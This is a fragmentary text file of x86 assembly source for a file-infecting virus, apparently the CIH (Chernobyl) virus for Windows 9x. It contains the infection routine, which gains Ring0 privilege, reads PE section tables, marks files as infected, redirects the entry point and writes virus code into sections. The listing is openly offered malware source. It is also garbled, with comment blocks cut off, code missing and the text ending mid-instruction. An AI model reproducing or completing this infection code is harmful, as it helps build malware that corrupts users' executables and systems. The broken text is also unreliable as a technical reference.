cih1.2.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

; *************************************                                          
                                                                                 
                        push    ebx     ; Save File Handle                       
                                                                                 
                        push    00h     ; Set VirusCodeSectionTableEndMark       
                                                                                 
; ***************************                                                    
; * Let's Set the           *                                                    
; * Virus' Infected Mark    *                                                    
; ***************************                                                    
                                                                                 
                        push    01h     ; Size                                   
                        push    edx     ; Pointer of File                        
                        push    edi     ; Address of Buffer                      
                                                                                 
; ***************************                                                    
; * Save ESP Register       *                                                    
; ***************************                                                    
                                                                                 
                        mov     dr1, esp                                         
                                                                                 
; ***************************                                                    
; * Let's Set the           *                                                    
; * NewAddressOfEntryPoint  *                                                    
; * ( Only First Set Size ) *                                                    
; ***************************                                                    
                                                                                 
                        push    eax     ; Size                                   
                                                                                 
; ***************************                                                    
; * Let's Read              *                                                    
; * Image Header in File    *                                                    
; ***************************                                                    
                                                                                 
                        mov     eax, ebp                                         
                        mov     cl, SizeOfImageHeaderToRead                      
                        add     edx, 07h ; Move EDX to NumberOfSections          
                        call    edi      ; VXDCall IFSMgr_Ring0_FileIO           
                                                                                 
; ***************************                                                    
; * Let's Set the           *                                                    
; * NewAddressOfEntryPoint  *                                                    
; * ( Set Pointer of File,  *                                                    
; *   Address of Buffer   ) *                                                    
; ***************************                                                    
                                                                                 
                        lea     eax, (AddressOfEntryPoint-@8)[edx]               
                        push    eax     ; Pointer of File                        
                                                                                 
                        lea     eax, (NewAddressOfEntryPoint-@8)[esi]            
                        push    eax     ; Address of Buffer                      
                                                                                 
; ***************************                                                    
; * Move EDX to the Start   *                                                    
; * of SectionTable in File *                                                    
; ***************************                                                    
                                                                                 
                        movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]     
                        lea     edx, [eax+edx+12h]                               
                                                                                 
; ***************************                                                    
; * Let's Get               *                                                    
; * Total Size of Sections  *                                                    
; ***************************                                                    
                                                                                 
                        mov     al, SizeOfScetionTable                           
                                                                                 
                        ; I Assume NumberOfSections <= 0ffh                      
                        mov     cl, (NumberOfSections-@8)[esi]                   
; * Address of Entry Point  *                                                    
; ***************************                                                    
                                                                                 
                        ; Save My Virus First Section Code                       
                        ; Size of Following Section Table...                     
                        ; ( Not Include the Size of Virus Code Section Table )   
                        push    ecx                                              
                                                                                 
                        xchg    ecx, eax        ; ECX = Size of Section Table    
                                                                                 
                        mov     eax, (AddressOfEntryPoint-@9)[esi]               
                        add     eax, (ImageBase-@9)[esi]                         
                        mov     (OriginalAddressOfEntryPoint-@9)[esi], eax       
                                                                                 
; ***************************                                                    
; * Read All Section Tables *                                                    
; ***************************                                                    
                                                                                 
                        mov     eax, ebp                                         
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; ***************************                                                    
; * Let's Set Total Virus   *                                                    
; * Code Section Table      *                                                    
; ***************************                                                    
                                                                                 
                        ; EBX = My Virus First Section Code                      
                        ;       Size of Following Section Table                  
                        pop     ebx                                              
                        pop     edi     ; EDI = TotalSizeOfVirusCodeSectionTabl  
                        pop     ecx     ; ECX = NumberOfSections+1               
                                                                                 
                        push    edi             ; Size                           
                                                                                 
                        add     edx, eax                                         
                        push    edx             ; Pointer of File                
                                                                                 
                        add     eax, esi                                         
                        push    eax             ; Address of Buffer              
                                                                                 
; ***************************                                                    
; * Set the First Virus     *                                                    
; * Code Section Size in    *                                                    
; * VirusCodeSectionTable   *                                                    
; ***************************                                                    
                                                                                 
                        lea     eax, [eax+edi-04h]                               
                        mov     [eax], ebx                                       
                                                                                 
; ***************************                                                    
; * Let's Set My Virus      *                                                    
; * First Section Code      *                                                    
; ***************************                                                    
                                                                                 
                        push    ebx     ; Size                                   
                                                                                 
                        add     edx, edi                                         
                        push    edx     ; Pointer of File                        
                                                                                 
                        lea     edi, (MyVirusStart-@9)[esi]                      
                        push    edi     ; Address of Buffer                      
                                                                                 
; ***************************                                                    
; * Let's Modify the        *                                                    
; * AddressOfEntryPoint to  *                                                    
; * My Virus Entry Point    *                                                    
; ***************************                                                    
                                                                                 
                        mov     (NewAddressOfEntryPoint-@9)[esi], edx            
                                                                                 
; ***************************                                                    
; * Setup Initial Data      *                                                    
; ***************************                                                    
                                                                                 
                        lea     edx, [esi-SizeOfScetionTable]                    
                        mov     ebp, offset VirusSize                            
                                                                                 
                        jmp     StartToWriteCodeToSections                       
                                                                                 
; ***************************                                                    
; * Write Code to Sections  *                                                    
; ***************************                                                    
                                                                                 
LoopOfWriteCodeToSections:                                                       
                                                                                 
                        add     edx, SizeOfScetionTable                          
                                                                                 
                        mov     ebx, (SizeOfRawData-@9)[edx]                     
                        sub     ebx